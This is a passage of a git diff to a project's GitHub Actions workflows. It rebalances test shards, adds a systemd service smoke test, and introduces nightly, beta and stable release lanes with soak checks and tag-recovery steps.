shard_count: 5 + - group: general-server + group_label: server (4/5) + shard_index: 3 + shard_count: 5 + - group: general-server + group_label: server (5/5) + shard_index: 4 + shard_count: 5 + # workspaces-a was the slowest check in the fully-green PR run + # 31371439296 (2026-08-10) at 319s, with the ui project's single + # vitest invocation accounting for ~224s and the paperclipai CLI + # ~37s. Two shards use Vitest's native --shard on each project's + # file list (ui: 439 files, cli: 54), bringing each job to roughly + # half the suite time (~130s + setup) without a duration manifest. + - group: general-workspaces-a + group_label: workspaces-a (1/2) + shard_index: 0 + shard_count: 2 - group: general-workspaces-a - group_label: workspaces-a + group_label: workspaces-a (2/2) + shard_index: 1 + shard_count: 2 - group: general-workspaces-b group_label: workspaces-b @@ -252,6 +281,9 @@ jobs: - name: Install dependencies run: pnpm install --frozen-lockfile + - name: Verify Paperclip Runner + run: pnpm --filter @paperclipai/paperclip-runner check:all + - name: Build run: pnpm build @@ -264,18 +296,27 @@ jobs: fail-fast: false matrix: include: + # A successful PR run on 2026-08-17 (32012408876) spent 291s in + # serialized shard 1/5 while its siblings ran 170-201s: round-robin + # clustered the heavy suites on one runner. Shards are now balanced + # by recorded duration (scripts/serialized-shard-durations.json), + # which levels the measured 968s suite total to about 194s per + # runner before setup overhead. - shard_index: 0 - shard_count: 4 - shard_label: 1/4 + shard_count: 5 + shard_label: 1/5 - shard_index: 1 - shard_count: 4 - shard_label: 2/4 + shard_count: 5 + shard_label: 2/5 - shard_index: 2 - shard_count: 4 - shard_label: 3/4 + shard_count: 5 + shard_label: 3/5 - shard_index: 3 - shard_count: 4 - shard_label: 4/4 + shard_count: 5 + shard_label: 4/5 + - shard_index: 4 + shard_count: 5 + shard_label: 5/5 steps: - name: Checkout repository @@ -373,12 +414,18 @@ jobs: # because every spec shares one throwaway server and some toggle # instance-level flags, so it can only be parallelized across runners. # Each shard boots its own server, which keeps that isolation intact. + # Three shards let the ~3min smoke-lab spec ride alone while the rest + # of the catalog splits evenly, pulling this lane off the PR critical + # path (it was the slowest check at ~8min20s with two shards). - shard_index: 0 - shard_count: 2 - shard_label: 1/2 + shard_count: 3 + shard_label: 1/3 - shard_index: 1 - shard_count: 2 - shard_label: 2/2 + shard_count: 3 + shard_label: 2/3 + - shard_index: 2 + shard_count: 3 + shard_label: 3/3 steps: - name: Checkout repository @@ -437,7 +484,7 @@ jobs: specs="$(node ./scripts/e2e-shard.mjs \ --shard-index ${{ matrix.shard_index }} --shard-count ${{ matrix.shard_count }})" echo "shard ${{ matrix.shard_label }} specs: $specs" - pnpm run test:e2e -- $specs + pnpm run test:e2e $specs - name: Upload Playwright report uses: actions/upload-artifact@v7 diff --git a/.github/workflows/refresh-lockfile.yml b/.github/workflows/refresh-lockfile.yml index fc40ffe3a7b..fd39c323564 100644 --- a/.github/workflows/refresh-lockfile.yml +++ b/.github/workflows/refresh-lockfile.yml @@ -36,7 +36,7 @@ jobs: - name: Setup Node.js uses: actions/setup-node@v7 with: - node-version: 20 + node-version: 24 cache: pnpm - name: Refresh pnpm lockfile diff --git a/.github/workflows/release-smoke.yml b/.github/workflows/release-smoke.yml index 923bb896a3e..1656d4f16fe 100644 --- a/.github/workflows/release-smoke.yml +++ b/.github/workflows/release-smoke.yml @@ -10,6 +10,8 @@ on: type: choice options: - canary + - nightly + - beta - latest host_port: description: Host port for the Docker smoke container @@ -36,6 +38,65 @@ on: type: string jobs: + # The Docker smoke below can never exercise the background-service leg of + # onboarding: containers have no service manager, so v2026.824.0 shipped a + # service install that crash-looped on a missing shim while every + # golden-path check stayed green. Run the same published artifact directly + # on the runner VM's systemd and require the installed service to end up + # serving. + smoke_service: + runs-on: ubuntu-latest + timeout-minutes: 30 + + steps: + - name: Checkout repository + uses: actions/checkout@v7 + + - name: Setup Node.js + uses: actions/setup-node@v7 + with: + node-version: 24 + + - name: Start a user systemd session + # The hosted runner has no login session for the runner user, so + # `systemctl --user` cannot reach a user manager until lingering + # starts one. Export the session address for the steps below. + run: | + sudo loginctl enable-linger "$(id -un)" + uid="$(id -u)" + for _ in $(seq 1 30); do + [[ -S "/run/user/$uid/bus" ]] && break + sleep 1 + done + [[ -S "/run/user/$uid/bus" ]] + { + echo "XDG_RUNTIME_DIR=/run/user/$uid" + echo "DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/$uid/bus" + } >> "$GITHUB_ENV" + + - name: Onboard with the background service + env: + PAPERCLIPAI_VERSION: ${{ inputs.paperclip_version }} + DATA_DIR: ${{ runner.temp }}/service-smoke-data + SMOKE_CLEANUP: "false" + run: ./scripts/service-onboard-smoke.sh + + - name: Capture service diagnostics + if: always() + run: | + { + systemctl --user --no-pager status paperclipai.service || true + journalctl --user -u paperclipai.service --no-pager || true + } > "$RUNNER_TEMP/paperclipai-service.log" 2>&1 + + - name: Upload service diagnostics + if: always() + uses: actions/upload-artifact@v7 + with: + name: ${{ inputs.artifact_name }}-service + path: ${{ runner.temp }}/paperclipai-service.log + retention-days: 14 + smoke: runs-on: ubuntu-latest timeout-minutes: 45 @@ -69,6 +130,7 @@ jobs: HOST_PORT="${{ inputs.host_port }}" \ DATA_DIR="$RUNNER_TEMP/release-smoke-data" \ PAPERCLIPAI_VERSION="${{ inputs.paperclip_version }}" \ + SMOKE_READY_TIMEOUT_SECONDS=420 \ SMOKE_DETACH=true \ SMOKE_METADATA_FILE="$metadata_file" \ ./scripts/docker-onboard-smoke.sh diff --git a/.github/workflows/release-verify.yml b/.github/workflows/release-verify.yml index 890dd4aea4b..55d457a24d1 100644 --- a/.github/workflows/release-verify.yml +++ b/.github/workflows/release-verify.yml @@ -64,8 +64,16 @@ jobs: group_label: server (3/3) shard_index: 2 shard_count: 3 + # Keep parity with pr.yml: workspaces-a is split with Vitest's + # native --shard because the ui project dominates the lane. - group: general-workspaces-a - group_label: workspaces-a + group_label: workspaces-a (1/2) + shard_index: 0 + shard_count: 2 + - group: general-workspaces-a + group_label: workspaces-a (2/2) + shard_index: 1 + shard_count: 2 - group: general-workspaces-b group_label: workspaces-b @@ -109,17 +117,20 @@ jobs: matrix: include: - shard_index: 0 - shard_count: 4 - shard_label: 1/4 + shard_count: 5 + shard_label: 1/5 - shard_index: 1 - shard_count: 4 - shard_label: 2/4 + shard_count: 5 + shard_label: 2/5 - shard_index: 2 - shard_count: 4 - shard_label: 3/4 + shard_count: 5 + shard_label: 3/5 - shard_index: 3 - shard_count: 4 - shard_label: 4/4 + shard_count: 5 + shard_label: 4/5 + - shard_index: 4 + shard_count: 5 + shard_label: 5/5 steps: - name: Checkout repository @@ -171,5 +182,8 @@ jobs: - name: Install dependencies run: pnpm install --no-frozen-lockfile + - name: Verify Paperclip Runner + run: pnpm --filter @paperclipai/paperclip-runner check:all + - name: Build run: pnpm build diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index d46cf1fb594..1f0511e051e 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -4,10 +4,22 @@ on: push: branches: - master + schedule: + # Nightly cut at 09:00 UTC, after the workday's merges have settled. + - cron: "0 9 * * *" workflow_dispatch: inputs: + channel: + description: Release channel to publish + required: true + type: choice + options: + - stable + - beta + - nightly + default: stable source_ref: - description: Commit SHA, branch, or tag to publish as stable + description: (stable) Commit SHA, branch, or tag to publish as stable required: true type: string default: master @@ -15,8 +27,20 @@ on: description: Enter a UTC date in YYYY-MM-DD format, for example 2026-03-18. Do not enter a version string. The workflow will resolve that date to a stable version such as 2026.318.0, then 2026.318.1 for the next same-day stable. required: false type: string + source_version: + description: For nightly, the explicit canary version to promote (empty selects the newest canary on master). For beta, the explicit nightly version to promote (empty selects the newest nightly on master). + required: false + type: string + candidate_branch: + description: (beta) candidate/beta-* branch to build a cherry-picked beta from. Leave empty to promote a nightly. Mutually exclusive with source_version. + required: false + type: string + skip_soak_justification: + description: (stable) Written justification for publishing a stable whose source has not soaked as a beta for 3 days. Leave empty for normal releases. + required: false + type: string dry_run: - description: Preview the stable release without publishing + description: Preview the release without publishing required: true type: boolean default: false @@ -25,6 +49,20 @@ concurrency: group: release-${{ github.event_name }}-${{ github.ref }} cancel-in-progress: false +env: + # npm accepts a publish immediately, but the registry's CDN can lag packument + # propagation by several minutes (observed 2.5-4+ minutes on 2026-08-21, + # which failed four consecutive canary runs mid-loop). Give release.sh's + # post-publish visibility poll a 10-minute budget per package instead of its + # 60-second default; a healthy publish still exits the poll on the first + # visible check. (A 5-minute budget missed by seconds on 2026-08-21: + # adapter-opencode-local was accepted at 07:02:27 and became visible at + # 07:07:40.) The publish jobs' timeout-minutes are sized for several + # laggard packages; if most of a batch lags the full budget, npm is having + # a real incident and the job failing is correct. + NPM_PUBLISH_VERIFY_ATTEMPTS: "60" + NPM_PUBLISH_VERIFY_DELAY_SECONDS: "10" + jobs: verify_canary: if: github.event_name == 'push' @@ -36,7 +74,7 @@ jobs: if: github.event_name == 'push' needs: verify_canary runs-on: ubuntu-latest - timeout-minutes: 45 + timeout-minutes: 90 environment: npm-canary permissions: contents: write @@ -97,15 +135,767 @@ jobs: fi git push origin "refs/tags/${tag}" + # ----- Nightly lane ----------------------------------------------------- + # Once a night (or on a forced nightly dispatch), promote the newest master + # commit that already shipped a green canary: smoke-test that exact + # published canary first, then republish the same commit under the nightly + # identity. The candidate commit already passed release-verify during its + # canary publish, so the nightly publish skips re-verification. + + select_nightly: + if: github.event_name == 'schedule' || (github.event_name == 'workflow_dispatch' && inputs.channel == 'nightly') + runs-on: ubuntu-latest + timeout-minutes: 10 + permissions: + contents: read + outputs: + proceed: ${{ steps.select.outputs.proceed }} + sha: ${{ steps.select.outputs.sha }} + canary_version: ${{ steps.select.outputs.canary_version }} + steps: + - name: Checkout repository + uses: actions/checkout@v7 + with: + ref: master + fetch-depth: 0 + + - name: Select nightly candidate + id: select + env: + EXPLICIT_CANARY_VERSION: ${{ github.event_name == 'workflow_dispatch' && inputs.source_version || '' }} + run: | + set -euo pipefail + + git fetch origin --tags --prune --quiet + + skip() { + echo "proceed=false" >> "$GITHUB_OUTPUT" + { + echo "## Nightly skipped" + echo "" + echo "$1" + } >> "$GITHUB_STEP_SUMMARY" + echo "Nightly skipped: $1" + } + + if [ -n "${EXPLICIT_CANARY_VERSION:-}" ]; then + tag="canary/v${EXPLICIT_CANARY_VERSION}" + sha="$(git rev-list -n 1 "$tag" 2>/dev/null || true)" + if [ -z "$sha" ]; then + echo "Error: tag $tag does not exist." >&2 + exit 1 + fi + else + # Newest canary-tagged commit on master. Canary tags are pushed + # only after a successful canary publish, so tag presence is the + # green-publish signal. Walk master newest-first and stop at the + # first commit that carries a canary tag. + sha="$(grep -m1 -F \ + -f <(git for-each-ref 'refs/tags/canary/v*' --format='%(objectname)') \ + <(git rev-list origin/master -n 500) || true)" + + if [ -z "$sha" ]; then + skip "No canary/v* tag found on the last 500 commits of master." + exit 0 + fi + + tag="$(git tag --points-at "$sha" | grep '^canary/v' | sort -V | tail -1)" + fi + + canary_version="${tag#canary/v}" + + existing_nightly="$(git tag --points-at "$sha" | grep '^nightly/v' | head -1 || true)" + if [ -n "$existing_nightly" ]; then + skip "Candidate \`$sha\` (canary \`$canary_version\`) already shipped as \`$existing_nightly\`." + exit 0 + fi + + # Promotions run the release tooling of the source commit, so the + # source must already understand the nightly channel. (Literal match + # of release.sh's channel case arm; if that line is reformatted this + # fails closed and should be updated alongside it.) + if ! git show "${sha}:scripts/release.sh" | grep -qF 'canary|nightly'; then + echo "Error: source commit $sha predates nightly release tooling; promote a newer canary." >&2 + exit 1 + fi + + echo "proceed=true" >> "$GITHUB_OUTPUT" + echo "sha=$sha" >> "$GITHUB_OUTPUT" + echo "canary_version=$canary_version" >> "$GITHUB_OUTPUT" + { + echo "## Nightly candidate" + echo "" + echo "- Source SHA: \`$sha\`" + echo "- Source canary: \`$canary_version\`" + } >> "$GITHUB_STEP_SUMMARY" + + # Gate the promotion on the release smoke suite, run against the exact + # published canary artifact that would become tonight's nightly. Red smoke + # means no nightly tonight. Skipped for dry-run dispatches. + smoke_nightly: + needs: select_nightly + if: needs.select_nightly.outputs.proceed == 'true' && !(github.event_name == 'workflow_dispatch' && inputs.dry_run) + uses: ./.github/workflows/release-smoke.yml + with: + paperclip_version: ${{ needs.select_nightly.outputs.canary_version }} + artifact_name: nightly-release-smoke + + publish_nightly: + needs: [select_nightly, smoke_nightly] + # Publish when smoke passed, or when smoke was deliberately skipped by a + # dry-run dispatch (the publish itself is a dry-run in that case). + if: >- + !cancelled() && + needs.select_nightly.outputs.proceed == 'true' && + (needs.smoke_nightly.result == 'success' || + (needs.smoke_nightly.result == 'skipped' && github.event_name == 'workflow_dispatch' && inputs.dry_run)) + runs-on: ubuntu-latest + timeout-minutes: 90 + environment: npm-canary + # The workflow-level concurrency group is per event, so a forced dispatch + # nightly could otherwise overlap the scheduled one and race it to the + # same next -nightly.N version. Serialize actual nightly publishes across + # events here; release.sh additionally refuses to double-publish a commit + # that already carries a nightly tag. + concurrency: + group: release-publish-nightly + cancel-in-progress: false + permissions: + contents: write + id-token: write + actions: write + + steps: + - name: Checkout repository + uses: actions/checkout@v7 + with: + ref: ${{ needs.select_nightly.outputs.sha }} + fetch-depth: 0 + + - name: Setup pnpm + uses: pnpm/action-setup@v6 + with: + version: 9.15.4 + + - name: Setup Node.js + uses: actions/setup-node@v7 + with: + node-version: 24 + cache: pnpm + + - name: Validate release package manifest + run: node ./scripts/release-package-map.mjs check + + - name: Install dependencies + run: pnpm install --no-frozen-lockfile + + - name: Restore tracked install-time changes + run: git checkout -- pnpm-lock.yaml + + - name: Configure git author + run: | + git config user.name "github-actions[bot]" + git config user.email "41898282+github-actions[bot]@users.noreply.github.com" + + - name: Publish nightly + env: + GITHUB_ACTIONS: "true" + run: | + args=(nightly --skip-verify) + if [ "${{ github.event_name == 'workflow_dispatch' && inputs.dry_run }}" = "true" ]; then + args+=(--dry-run) + fi + ./scripts/release.sh "${args[@]}" + + - name: Dump npm debug logs + if: failure() + run: | + shopt -s nullglob + for f in "$HOME"/.npm/_logs/*.log; do + echo "===== $f =====" + tail -n 300 "$f" | sed -E \ + -e 's#((authorization|_authToken|_auth|node_auth_token|npm_token)"?[[:space:]]*[:=][[:space:]]*"?)(Bearer[[:space:]]+)?[^",[:space:]]+#\1***REDACTED***#Ig' + done + + - name: Push nightly tag + if: ${{ !(github.event_name == 'workflow_dispatch' && inputs.dry_run) }} + run: | + tag="$(git tag --points-at HEAD | grep '^nightly/v' | head -1)" + if [ -z "$tag" ]; then + echo "Error: no nightly tag points at HEAD after release." >&2 + exit 1 + fi + if ! git push origin "refs/tags/${tag}"; then + sha="$(git rev-parse HEAD)" + { + echo "## Tag push rejected" + echo "" + echo "The npm publish succeeded, but pushing \`${tag}\` was rejected." + echo "This usually means the tagged commit modifies workflow files," + echo "which GITHUB_TOKEN may not reference when creating refs from" + echo "dispatch or scheduled runs. Recover with maintainer credentials:" + echo "" + echo '```' + echo "git tag ${tag} ${sha}" + echo "git push origin refs/tags/${tag}" + echo "gh workflow run docker.yml --ref refs/tags/${tag}" + echo '```' + } >> "$GITHUB_STEP_SUMMARY" + echo "::error::Tag push rejected; see the job summary for recovery commands." >&2 + exit 1 + fi + + # Tag pushes made with GITHUB_TOKEN do not fire docker.yml's tag + # trigger (GitHub suppresses workflow runs caused by GITHUB_TOKEN + # pushes), so dispatch the image build at the new tag explicitly. + - name: Build Docker images for the nightly tag + if: ${{ !(github.event_name == 'workflow_dispatch' && inputs.dry_run) }} + env: + GH_TOKEN: ${{ github.token }} + run: | + tag="$(git tag --points-at HEAD | grep '^nightly/v' | head -1)" + { + echo "## Nightly published" + echo "" + echo "- Source SHA: \`${{ needs.select_nightly.outputs.sha }}\`" + echo "- Source canary: \`${{ needs.select_nightly.outputs.canary_version }}\`" + echo "- Published nightly: \`${tag#nightly/v}\`" + echo "- Docker build dispatched at \`${tag}\`" + } >> "$GITHUB_STEP_SUMMARY" + gh workflow run docker.yml --ref "refs/tags/${tag}" --repo "$GITHUB_REPOSITORY" + + # ----- Beta lane -------------------------------------------------------- + # Beta is a manual, human-approved promotion of a nightly. Unlike the + # scheduled nightly lane, a beta dispatch is explicit operator intent, so + # selection problems fail the run loudly instead of skipping quietly. The + # publish runs behind the npm-beta environment, whose required reviewers + # are the approval gate. + + select_beta: + if: github.event_name == 'workflow_dispatch' && inputs.channel == 'beta' + runs-on: ubuntu-latest + timeout-minutes: 10 + permissions: + contents: read + outputs: + sha: ${{ steps.select.outputs.sha }} + nightly_version: ${{ steps.select.outputs.nightly_version }} + mode: ${{ steps.select.outputs.mode }} + steps: + - name: Checkout repository + uses: actions/checkout@v7 + with: + ref: master + fetch-depth: 0 + + - name: Select beta candidate + id: select + env: + EXPLICIT_NIGHTLY_VERSION: ${{ inputs.source_version }} + CANDIDATE_BRANCH: ${{ inputs.candidate_branch }} + run: | + set -euo pipefail + + git fetch origin --tags --prune --quiet + + # Candidate mode: build a cherry-picked beta from a short-lived + # candidate branch instead of promoting a nightly. + if [ -n "${CANDIDATE_BRANCH:-}" ]; then + if [ -n "${EXPLICIT_NIGHTLY_VERSION:-}" ]; then + echo "Error: candidate_branch and source_version are mutually exclusive." >&2 + exit 1 + fi + case "$CANDIDATE_BRANCH" in + candidate/beta-*) ;; + *) + echo "Error: candidate branches must be named candidate/beta- (got: $CANDIDATE_BRANCH)." >&2 + exit 1 + ;; + esac + git fetch origin "$CANDIDATE_BRANCH" --quiet + sha="$(git rev-parse --verify "origin/${CANDIDATE_BRANCH}^{commit}" 2>/dev/null || true)" + if [ -z "$sha" ]; then + echo "Error: candidate branch $CANDIDATE_BRANCH does not exist on origin." >&2 + exit 1 + fi + + existing_beta="$(git tag --points-at "$sha" | grep '^beta/v' | head -1 || true)" + if [ -n "$existing_beta" ]; then + echo "Error: candidate head $sha already shipped as $existing_beta." >&2 + exit 1 + fi + + if ! git show "${sha}:scripts/release.sh" | grep -qF -- '--from-candidate'; then + echo "Error: candidate head $sha predates candidate-build release tooling; rebase the candidate onto a newer base." >&2 + exit 1 + fi + + merge_base="$(git merge-base origin/master "$sha")" + echo "mode=candidate" >> "$GITHUB_OUTPUT" + echo "sha=$sha" >> "$GITHUB_OUTPUT" + echo "nightly_version=" >> "$GITHUB_OUTPUT" + { + echo "## Beta candidate branch" + echo "" + echo "- Branch: \`$CANDIDATE_BRANCH\`" + echo "- Head: \`$sha\`" + echo "- Base (merge-base with master): \`$merge_base\`" + echo "- Cherry-picked commits:" + echo "" + echo '\`\`\`' + git log --oneline "${merge_base}..${sha}" + echo '\`\`\`' + } >> "$GITHUB_STEP_SUMMARY" + exit 0 + fi + + echo "mode=promote" >> "$GITHUB_OUTPUT" + + if [ -n "${EXPLICIT_NIGHTLY_VERSION:-}" ]; then + tag="nightly/v${EXPLICIT_NIGHTLY_VERSION}" + sha="$(git rev-list -n 1 "$tag" 2>/dev/null || true)" + if [ -z "$sha" ]; then + echo "Error: tag $tag does not exist." >&2 + exit 1 + fi + else + # Newest nightly-tagged commit on master. + sha="$(grep -m1 -F \ + -f <(git for-each-ref 'refs/tags/nightly/v*' --format='%(objectname)') \ + <(git rev-list origin/master -n 2000) || true)" + + if [ -z "$sha" ]; then + echo "Error: no nightly/v* tag found on the last 2000 commits of master. Publish a nightly first, or pass source_version." >&2 + exit 1 + fi + + tag="$(git tag --points-at "$sha" | grep '^nightly/v' | sort -V | tail -1)" + fi + + nightly_version="${tag#nightly/v}" + + existing_beta="$(git tag --points-at "$sha" | grep '^beta/v' | head -1 || true)" + if [ -n "$existing_beta" ]; then + echo "Error: candidate $sha (nightly $nightly_version) already shipped as $existing_beta." >&2 + exit 1 + fi + + # Promotions run the release tooling of the source commit, so the + # source must already understand the beta channel. (Literal match of + # release.sh's channel case arm; if that line is reformatted this + # fails closed and should be updated alongside it.) + if ! git show "${sha}:scripts/release.sh" | grep -qF 'canary|nightly|beta|stable)'; then + echo "Error: source commit $sha predates beta release tooling; promote a newer nightly whose source contains the beta channel." >&2 + exit 1 + fi + + echo "sha=$sha" >> "$GITHUB_OUTPUT" + echo "nightly_version=$nightly_version" >> "$GITHUB_OUTPUT" + { + echo "## Beta candidate" + echo "" + echo "- Source SHA: \`$sha\`" + echo "- Source nightly: \`$nightly_version\`" + } >> "$GITHUB_STEP_SUMMARY" + + # Candidate-branch heads are new commits that never went through a canary + # or nightly, so they must pass full verification before publishing. + # Promoted nightlies were already verified by their canary run and skip it. + verify_beta_candidate: + needs: select_beta + if: needs.select_beta.outputs.mode == 'candidate' + uses: ./.github/workflows/release-verify.yml + with: + ref: ${{ needs.select_beta.outputs.sha }} + + publish_beta: + needs: [select_beta, verify_beta_candidate] + if: >- + !cancelled() && + needs.select_beta.result == 'success' && + (needs.verify_beta_candidate.result == 'success' || + (needs.verify_beta_candidate.result == 'skipped' && needs.select_beta.outputs.mode == 'promote')) + runs-on: ubuntu-latest + timeout-minutes: 90 + environment: npm-beta + # Serialize beta publishes so two dispatches cannot race to the same next + # -beta.N version; release.sh additionally refuses to double-publish a + # commit that already carries a beta tag. + concurrency: + group: release-publish-beta + cancel-in-progress: false + permissions: + contents: write + id-token: write + actions: write + outputs: + beta_version: ${{ steps.result.outputs.beta_version }} + + steps: + - name: Checkout repository + uses: actions/checkout@v7 + with: + ref: ${{ needs.select_beta.outputs.sha }} + fetch-depth: 0 + + - name: Setup pnpm + uses: pnpm/action-setup@v6 + with: + version: 9.15.4 + + - name: Setup Node.js + uses: actions/setup-node@v7 + with: + node-version: 24 + cache: pnpm + + - name: Validate release package manifest + run: node ./scripts/release-package-map.mjs check + + - name: Install dependencies + run: pnpm install --no-frozen-lockfile + + - name: Restore tracked install-time changes + run: git checkout -- pnpm-lock.yaml + + - name: Configure git author + run: | + git config user.name "github-actions[bot]" + git config user.email "41898282+github-actions[bot]@users.noreply.github.com" + + - name: Publish beta + env: + GITHUB_ACTIONS: "true" + run: | + args=(beta --skip-verify) + if [ "${{ needs.select_beta.outputs.mode }}" = "candidate" ]; then + args+=(--from-candidate) + fi + if [ "${{ inputs.dry_run }}" = "true" ]; then + args+=(--dry-run) + fi + ./scripts/release.sh "${args[@]}" + + - name: Dump npm debug logs + if: failure() + run: | + shopt -s nullglob + for f in "$HOME"/.npm/_logs/*.log; do + echo "===== $f =====" + tail -n 300 "$f" | sed -E \ + -e 's#((authorization|_authToken|_auth|node_auth_token|npm_token)"?[[:space:]]*[:=][[:space:]]*"?)(Bearer[[:space:]]+)?[^",[:space:]]+#\1***REDACTED***#Ig' + done + + - name: Push beta tag + if: ${{ !inputs.dry_run }} + run: | + tag="$(git tag --points-at HEAD | grep '^beta/v' | head -1)" + if [ -z "$tag" ]; then + echo "Error: no beta tag points at HEAD after release." >&2 + exit 1 + fi + if ! git push origin "refs/tags/${tag}"; then + sha="$(git rev-parse HEAD)" + { + echo "## Tag push rejected" + echo "" + echo "The npm publish succeeded, but pushing \`${tag}\` was rejected." + echo "This usually means the tagged commit modifies workflow files," + echo "which GITHUB_TOKEN may not reference when creating refs from" + echo "dispatch or scheduled runs. Recover with maintainer credentials:" + echo "" + echo '```' + echo "git tag ${tag} ${sha}" + echo "git push origin refs/tags/${tag}" + echo "gh workflow run docker.yml --ref refs/tags/${tag}" + echo '```' + } >> "$GITHUB_STEP_SUMMARY" + echo "::error::Tag push rejected; see the job summary for recovery commands." >&2 + exit 1 + fi + + # Tag pushes made with GITHUB_TOKEN do not fire docker.yml's tag + # trigger (GitHub suppresses workflow runs caused by GITHUB_TOKEN + # pushes), so dispatch the image build at the new tag explicitly. + - name: Build Docker images for the beta tag + id: result + if: ${{ !inputs.dry_run }} + env: + GH_TOKEN: ${{ github.token }} + run: | + tag="$(git tag --points-at HEAD | grep '^beta/v' | head -1)" + echo "beta_version=${tag#beta/v}" >> "$GITHUB_OUTPUT" + { + echo "## Beta published" + echo "" + echo "- Source SHA: \`${{ needs.select_beta.outputs.sha }}\`" + echo "- Source nightly: \`${{ needs.select_beta.outputs.nightly_version }}\`" + echo "- Published beta: \`${tag#beta/v}\`" + echo "- Docker build dispatched at \`${tag}\`" + } >> "$GITHUB_STEP_SUMMARY" + gh workflow run docker.yml --ref "refs/tags/${tag}" --repo "$GITHUB_REPOSITORY" + + # Draft the eventual stable's release notes the moment the beta exists: + # the promoted bits are frozen now, and the 3-day soak is the natural + # review window. The draft lands on a machine-owned branch; a human opens + # and merges the PR, because a PR created with GITHUB_TOKEN would not + # trigger the pr.yml checks a merge requires. + draft_stable_notes: + needs: [select_beta, publish_beta] + if: ${{ !cancelled() && !inputs.dry_run && needs.publish_beta.result == 'success' }} + runs-on: ubuntu-latest + timeout-minutes: 10 + permissions: + contents: write + # gh pr view needs PR read for the skeleton's nested summaries; + # without it the enrichment silently degrades to bare subjects. + pull-requests: read + steps: + - name: Checkout repository + uses: actions/checkout@v7 + with: + ref: master + fetch-depth: 0 + + - name: Configure git author + run: | + git config user.name "github-actions[bot]" + git config user.email "41898282+github-actions[bot]@users.noreply.github.com" + + - name: Draft stable notes from the published beta + env: + # gh needs a token so the generator can nest each PR's summary + # under its subject line (best-effort thoroughness). + GH_TOKEN: ${{ github.token }} + BETA_VERSION: ${{ needs.publish_beta.outputs.beta_version }} + SOURCE_SHA: ${{ needs.select_beta.outputs.sha }} + run: | + set -euo pipefail + git fetch origin --tags --quiet + # A rejected beta tag push (the workflows-permission case) leaves + # the tag absent from origin while npm already has the beta; + # recreate it locally so drafting does not block on the manual + # tag recovery. + if ! git rev-parse --verify "refs/tags/beta/v${BETA_VERSION}" >/dev/null 2>&1; then + git tag "beta/v${BETA_VERSION}" "${SOURCE_SHA}" + fi + ./scripts/draft-stable-notes.sh "${BETA_VERSION}" + + - name: Push the draft branch + env: + BETA_VERSION: ${{ needs.publish_beta.outputs.beta_version }} + run: | + set -euo pipefail + branch="release-notes/v${BETA_VERSION}" + git checkout -B "$branch" + git add "releases/beta/v${BETA_VERSION}.md" + git commit -m "docs(release): draft stable notes for beta ${BETA_VERSION}" + # Machine-owned branch: force push so a re-run regenerates cleanly. + git push -f origin "$branch" + { + echo "## Stable notes draft pushed" + echo "" + echo "- Branch: \`${branch}\`" + echo "- Open the PR (a human opens it so CI runs):" + echo " https://github.com/${GITHUB_REPOSITORY}/compare/master...${branch}?expand=1" + echo "- Edit it during the soak. The stable promotion reads" + echo " \`releases/beta/v${BETA_VERSION}.md\` from master." + } >> "$GITHUB_STEP_SUMMARY" + + # Post-publish verification: run the release smoke suite against the exact + # beta version that was just published. + # + # The condition must carry an explicit status-check function: without one, + # GitHub attaches an implicit success(), which evaluates the needs chain + # transitively — and publish_beta's chain contains verify_beta_candidate, + # which is skipped on every promote-mode beta. The implicit form silently + # skipped this job on the first promote-mode beta after the candidate + # lane landed. + smoke_beta: + needs: publish_beta + if: ${{ !cancelled() && needs.publish_beta.result == 'success' && !inputs.dry_run }} + uses: ./.github/workflows/release-smoke.yml + with: + paperclip_version: ${{ needs.publish_beta.outputs.beta_version }} + artifact_name: beta-release-smoke + + # ----- Stable lane ------------------------------------------------------ + + # Stable releases promote a soaked beta. The preflight enforces that the + # source commit shipped as a beta at least 3 days ago (measured from the + # npm publish time of that beta version), unless a written justification + # is provided. Dry runs report soak state without blocking. + # Resolves source_ref to an immutable commit exactly once; every downstream + # stable job consumes that SHA. Otherwise a branch or movable tag that + # advances mid-run could be soak-checked at one commit and verified or + # published at another. + preflight_stable: + if: github.event_name == 'workflow_dispatch' && inputs.channel == 'stable' + runs-on: ubuntu-latest + timeout-minutes: 10 + permissions: + contents: read + outputs: + sha: ${{ steps.soak.outputs.sha }} + beta_version: ${{ steps.soak.outputs.beta_version }} + stable_version: ${{ steps.notes.outputs.stable_version }} + notes_mode: ${{ steps.notes.outputs.notes_mode }} + notes_path: ${{ steps.notes.outputs.notes_path }} + notes_ref: ${{ steps.notes.outputs.notes_ref }} + steps: + - name: Checkout repository + uses: actions/checkout@v7 + with: + ref: master + fetch-depth: 0 + + - name: Check beta soak + id: soak + env: + SOURCE_REF: ${{ inputs.source_ref }} + JUSTIFICATION: ${{ inputs.skip_soak_justification }} + DRY_RUN: ${{ inputs.dry_run }} + run: | + set -euo pipefail + + git fetch origin --tags --prune --quiet + + sha="$(git rev-parse --verify "${SOURCE_REF}^{commit}" 2>/dev/null || true)" + if [ -z "$sha" ]; then + git fetch origin "$SOURCE_REF" --quiet || true + sha="$(git rev-parse --verify "FETCH_HEAD^{commit}" 2>/dev/null || true)" + fi + if [ -z "$sha" ]; then + echo "Error: could not resolve source_ref '$SOURCE_REF' to a commit." >&2 + exit 1 + fi + + echo "sha=$sha" >> "$GITHUB_OUTPUT" + { + echo "## Stable source pinned" + echo "" + echo "- source_ref: \`${SOURCE_REF}\` -> \`$sha\`" + } >> "$GITHUB_STEP_SUMMARY" + + fail_or_justify() { + if [ -n "${JUSTIFICATION:-}" ]; then + { + echo "## Stable soak gate bypassed" + echo "" + echo "$1" + echo "" + echo "Justification: ${JUSTIFICATION}" + } >> "$GITHUB_STEP_SUMMARY" + echo "::warning::Soak gate bypassed: $1" + return 0 + fi + if [ "${DRY_RUN}" = "true" ]; then + echo "::warning::Soak gate would block a real release: $1" + { + echo "## Stable soak gate (dry run)" + echo "" + echo "A real release would be blocked: $1" + } >> "$GITHUB_STEP_SUMMARY" + return 0 + fi + echo "Error: $1" >&2 + echo "Pass skip_soak_justification with a written reason to release anyway." >&2 + exit 1 + } + + beta_tag="$(git tag --points-at "$sha" | grep '^beta/v' | sort -V | tail -1 || true)" + if [ -z "$beta_tag" ]; then + fail_or_justify "source commit $sha never shipped as a beta (no beta/v* tag)." + exit 0 + fi + + beta_version="${beta_tag#beta/v}" + echo "beta_version=${beta_version}" >> "$GITHUB_OUTPUT" + publish_time="$(npm view "paperclipai@${beta_version}" time --json 